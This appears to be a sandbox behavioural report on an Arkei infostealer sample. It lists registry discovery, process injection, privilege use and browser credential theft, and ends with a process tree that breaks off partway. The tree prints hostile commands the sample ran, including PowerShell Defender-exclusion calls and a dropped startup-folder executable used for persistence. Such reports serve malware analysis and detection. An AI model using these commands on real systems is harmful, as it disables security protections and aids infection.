arkei | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mI2vdU7xMU71GNyMSHNLycKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	i_L0A7LldAXrsKpzFi5txJoI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MegogoSell_crypted.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	fIluvx59br0pDNhWxyCvlECC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	A3Rw_r8xR62BWeGihBmsdcHY.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3W_ChRgsBOU9yBhDHPqm8yDD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	A3Rw_r8xR62BWeGihBmsdcHY.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mI2vdU7xMU71GNyMSHNLycKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	i_L0A7LldAXrsKpzFi5txJoI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MegogoSell_crypted.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	fIluvx59br0pDNhWxyCvlECC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3W_ChRgsBOU9yBhDHPqm8yDD.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe

Loads dropped DLL 7 IoCs

pid	Process
5068	RbCJ73zVujImtMJHqjLMBZ0z.exe
5068	RbCJ73zVujImtMJHqjLMBZ0z.exe
4624	mshta.exe
2332	Calculator Installation.exe
2332	Calculator Installation.exe
2332	Calculator Installation.exe
2332	Calculator Installation.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 10 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral3/files/0x000400000001ac1c-140.dat	themida
behavioral3/files/0x000400000001ac4c-191.dat	themida
behavioral3/files/0x000400000001ac4e-195.dat	themida
behavioral3/files/0x000a00000001ac44-201.dat	themida
behavioral3/files/0x000400000001ac4a-200.dat	themida
behavioral3/memory/3328-239-0x0000000000E60000-0x0000000000E61000-memory.dmp	themida
behavioral3/memory/3688-265-0x0000000000380000-0x0000000000381000-memory.dmp	themida
behavioral3/memory/3744-302-0x0000000001270000-0x0000000001271000-memory.dmp	themida
behavioral3/memory/3556-301-0x00000000000D0000-0x00000000000D1000-memory.dmp	themida
behavioral3/memory/912-281-0x00000000008E0000-0x00000000008E1000-memory.dmp	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	i_L0A7LldAXrsKpzFi5txJoI.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fIluvx59br0pDNhWxyCvlECC.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MegogoSell_crypted.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mI2vdU7xMU71GNyMSHNLycKr.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3W_ChRgsBOU9yBhDHPqm8yDD.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	A3Rw_r8xR62BWeGihBmsdcHY.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 9 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
252	ip-api.com
25	ipinfo.io
164	ipinfo.io
571	ipinfo.io
572	ipinfo.io
1182	ipinfo.io
1186	ipinfo.io
24	ipinfo.io
165	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
3328	i_L0A7LldAXrsKpzFi5txJoI.exe
3688	fIluvx59br0pDNhWxyCvlECC.exe
3556	mI2vdU7xMU71GNyMSHNLycKr.exe
912	3W_ChRgsBOU9yBhDHPqm8yDD.exe
3744	A3Rw_r8xR62BWeGihBmsdcHY.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3224 set thread context of 2540	3224	mbSorhGxB1pNBjghFG36e2Ru.exe	9
PID 4024 set thread context of 4300	4024	L6I6NKG1SWCIDwWSCHB1rBJU.exe	112
PID 1988 set thread context of 4928	1988	64sJSaHtBgpmY3s9JraLL3AH.exe	127
PID 3080 set thread context of 4484	3080	MegogoSell_crypted.exe	118

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	YyH9SXCqivTrzrPqI3uYJQMd.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	YyH9SXCqivTrzrPqI3uYJQMd.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	B6Bw0roWFP55xUoOvHs45zOz.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	B6Bw0roWFP55xUoOvHs45zOz.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	B6Bw0roWFP55xUoOvHs45zOz.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	B6Bw0roWFP55xUoOvHs45zOz.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System\xxx1.bak	ofHj9XDxpCLOcd4Ya1bSIs3C.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 8 IoCs

pid	pid_target	Process	procid_target
3912	1296	WerFault.exe	100
2348	3080	WerFault.exe	110
5640	5044	WerFault.exe	131
5976	5044	WerFault.exe	131
3640	5044	WerFault.exe	131
6104	5044	WerFault.exe	131
5816	2088	WerFault.exe	98
8068	4236	WerFault.exe	113

NSIS installer 6 IoCs

installer

resource	yara_rule
behavioral3/files/0x000400000001ac4b-198.dat	nsis_installer_1
behavioral3/files/0x000400000001ac4b-198.dat	nsis_installer_2
behavioral3/files/0x000400000001ac4b-203.dat	nsis_installer_1
behavioral3/files/0x000400000001ac4b-203.dat	nsis_installer_2
behavioral3/files/0x000400000001ac89-339.dat	nsis_installer_1
behavioral3/files/0x000400000001ac89-339.dat	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4N57m2SeL5IiTI5AG0oY8LBW.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4N57m2SeL5IiTI5AG0oY8LBW.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4N57m2SeL5IiTI5AG0oY8LBW.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1892	schtasks.exe
7932	schtasks.exe
4160	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
7452	timeout.exe
3804	timeout.exe

Kills process with taskkill 7 IoCs

evasion

pid	Process
8836	taskkill.exe
7972	taskkill.exe
5140	taskkill.exe
4384	taskkill.exe
6720	taskkill.exe
7312	taskkill.exe
8792	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe
728	MGF06eWV2QxiQ3cG6az4tr31.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3224	mbSorhGxB1pNBjghFG36e2Ru.exe
3224	mbSorhGxB1pNBjghFG36e2Ru.exe
3224	mbSorhGxB1pNBjghFG36e2Ru.exe
2548	4N57m2SeL5IiTI5AG0oY8LBW.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeAssignPrimaryTokenPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeLockMemoryPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeIncreaseQuotaPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeMachineAccountPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeTcbPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeSecurityPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeTakeOwnershipPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeLoadDriverPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeSystemProfilePrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeSystemtimePrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeProfSingleProcessPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeIncBasePriorityPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeCreatePagefilePrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeCreatePermanentPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeBackupPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeRestorePrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeShutdownPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeDebugPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeAuditPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeSystemEnvironmentPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeChangeNotifyPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeRemoteShutdownPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeUndockPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeSyncAgentPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeEnableDelegationPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeManageVolumePrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeImpersonatePrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeCreateGlobalPrivilege	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: 31	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: 32	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: 33	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: 34	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: 35	3036	cdw3osWat18CVPUn7rFB_Pj9.exe
Token: SeDebugPrivilege	3224	mbSorhGxB1pNBjghFG36e2Ru.exe
Token: SeDebugPrivilege	2068	ydWz5wGfm19stkAY4iMIn9Xd.exe
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeDebugPrivilege	4048	DownFlSetup110.exe
Token: SeDebugPrivilege	2756	CmP8WQcQIe09qWeNkvEOhtAh.exe
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeRestorePrivilege	3912	WerFault.exe
Token: SeBackupPrivilege	3912	WerFault.exe
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeDebugPrivilege	4268	cscript.exe
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeDebugPrivilege	3912	WerFault.exe
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeShutdownPrivilege	2540	Explorer.EXE
Token: SeCreatePagefilePrivilege	2540	Explorer.EXE
Token: SeCreateTokenPrivilege	5100	askinstall25.exe
Token: SeAssignPrimaryTokenPrivilege	5100	askinstall25.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 728	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	77
PID 816 wrote to memory of 728	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	77
PID 816 wrote to memory of 2548	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	78
PID 816 wrote to memory of 2548	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	78
PID 816 wrote to memory of 2548	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	78
PID 816 wrote to memory of 2328	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	79
PID 816 wrote to memory of 2328	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	79
PID 816 wrote to memory of 2328	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	79
PID 816 wrote to memory of 2756	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	84
PID 816 wrote to memory of 2756	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	84
PID 816 wrote to memory of 2756	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	84
PID 816 wrote to memory of 4092	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	83
PID 816 wrote to memory of 4092	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	83
PID 816 wrote to memory of 4092	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	83
PID 816 wrote to memory of 2968	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	82
PID 816 wrote to memory of 2968	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	82
PID 816 wrote to memory of 2968	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	82
PID 816 wrote to memory of 3036	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	81
PID 816 wrote to memory of 3036	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	81
PID 816 wrote to memory of 3036	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	81
PID 816 wrote to memory of 3328	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	80
PID 816 wrote to memory of 3328	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	80
PID 816 wrote to memory of 3328	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	80
PID 816 wrote to memory of 4024	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	85
PID 816 wrote to memory of 4024	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	85
PID 816 wrote to memory of 4024	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	85
PID 816 wrote to memory of 3188	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	88
PID 816 wrote to memory of 3188	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	88
PID 816 wrote to memory of 3188	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	88
PID 816 wrote to memory of 3116	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	87
PID 816 wrote to memory of 3116	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	87
PID 816 wrote to memory of 3116	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	87
PID 816 wrote to memory of 3224	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	86
PID 816 wrote to memory of 3224	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	86
PID 816 wrote to memory of 3224	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	86
PID 816 wrote to memory of 2496	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	92
PID 816 wrote to memory of 2496	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	92
PID 816 wrote to memory of 2496	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	92
PID 816 wrote to memory of 3684	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	91
PID 816 wrote to memory of 3684	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	91
PID 816 wrote to memory of 3684	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	91
PID 816 wrote to memory of 2212	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	90
PID 816 wrote to memory of 2212	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	90
PID 816 wrote to memory of 2212	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	90
PID 816 wrote to memory of 2684	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	89
PID 816 wrote to memory of 2684	816	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	89
PID 816 wrote to memory of 2064	816	Process not Found	94
PID 816 wrote to memory of 2064	816	Process not Found	94
PID 816 wrote to memory of 2064	816	Process not Found	94
PID 816 wrote to memory of 2068	816	Process not Found	93
PID 816 wrote to memory of 2068	816	Process not Found	93
PID 816 wrote to memory of 1296	816	Process not Found	100
PID 816 wrote to memory of 1296	816	Process not Found	100
PID 816 wrote to memory of 1296	816	Process not Found	100
PID 816 wrote to memory of 2232	816	Process not Found	99
PID 816 wrote to memory of 2232	816	Process not Found	99
PID 816 wrote to memory of 2232	816	Process not Found	99
PID 816 wrote to memory of 2088	816	Process not Found	98
PID 816 wrote to memory of 2088	816	Process not Found	98
PID 816 wrote to memory of 2088	816	Process not Found	98
PID 816 wrote to memory of 1012	816	Process not Found	97
PID 816 wrote to memory of 1012	816	Process not Found	97
PID 816 wrote to memory of 1012	816	Process not Found	97
PID 816 wrote to memory of 1988	816	Process not Found	96

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2540
- C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
  "C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe"
  2⤵
  - Checks computer location settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:816
- - C:\Users\Admin\Pictures\Adobe Films\MGF06eWV2QxiQ3cG6az4tr31.exe
    "C:\Users\Admin\Pictures\Adobe Films\MGF06eWV2QxiQ3cG6az4tr31.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:728
- - C:\Users\Admin\Pictures\Adobe Films\4N57m2SeL5IiTI5AG0oY8LBW.exe
    "C:\Users\Admin\Pictures\Adobe Films\4N57m2SeL5IiTI5AG0oY8LBW.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: MapViewOfSection
    PID:2548
- - C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe
    "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe"
    3⤵
    - Executes dropped EXE
    PID:2328
  - - C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      PID:5136
    - - C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe" /SpecialRun 4101d8 5136
        5⤵
        
        PID:6048
  - - C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      Executes dropped EXE
      PID:5504
    - - C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe" /SpecialRun 4101d8 5504
        5⤵
        
        PID:4992
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force
      4⤵
      PID:5088
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force
      4⤵
      PID:5920
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force
      4⤵
      PID:3752
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
      4⤵
      PID:4372
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"
      4⤵
      PID:6672
    - - C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        5⤵
        
        PID:7716
      - C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe" /SpecialRun 4101d8 7716
        6⤵
        
        PID:8160
    - - C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe
        
